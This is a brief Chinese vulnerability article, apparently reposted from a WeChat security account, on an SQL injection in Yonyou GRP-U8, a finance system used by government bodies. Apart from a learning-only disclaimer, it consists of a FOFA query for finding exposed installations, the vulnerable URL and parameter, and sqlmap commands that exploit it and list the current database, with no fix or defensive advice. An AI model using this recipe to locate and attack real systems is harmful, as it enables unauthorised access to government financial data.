免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

用友GRP-U8是面向政府及行政事业单位的财政管理应用。北京用友政务软件有限公司GRP-U8 SQL注入漏洞。

二、网络空间搜索引擎搜索

fofa查询语法

app="用友-GRP-U8"

三、漏洞利用

POC

http://ip:port/u8qx/slbmbygr.jsp?gsdm=1

使用SQLmap进行注入利用（kali环境）

sqlmap  -u http://ip:port/u8qx/slbmbygr.jsp?gsdm=1 --batch

查询当前数据库

sqlmap  -u http://ip:port/u8qx/slbmbygr.jsp?gsdm=1 --batch --current-db

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

原文始发于微信公众号（网络安全透视镜）：用友GPR-U8 slbmbygr SQL注入漏洞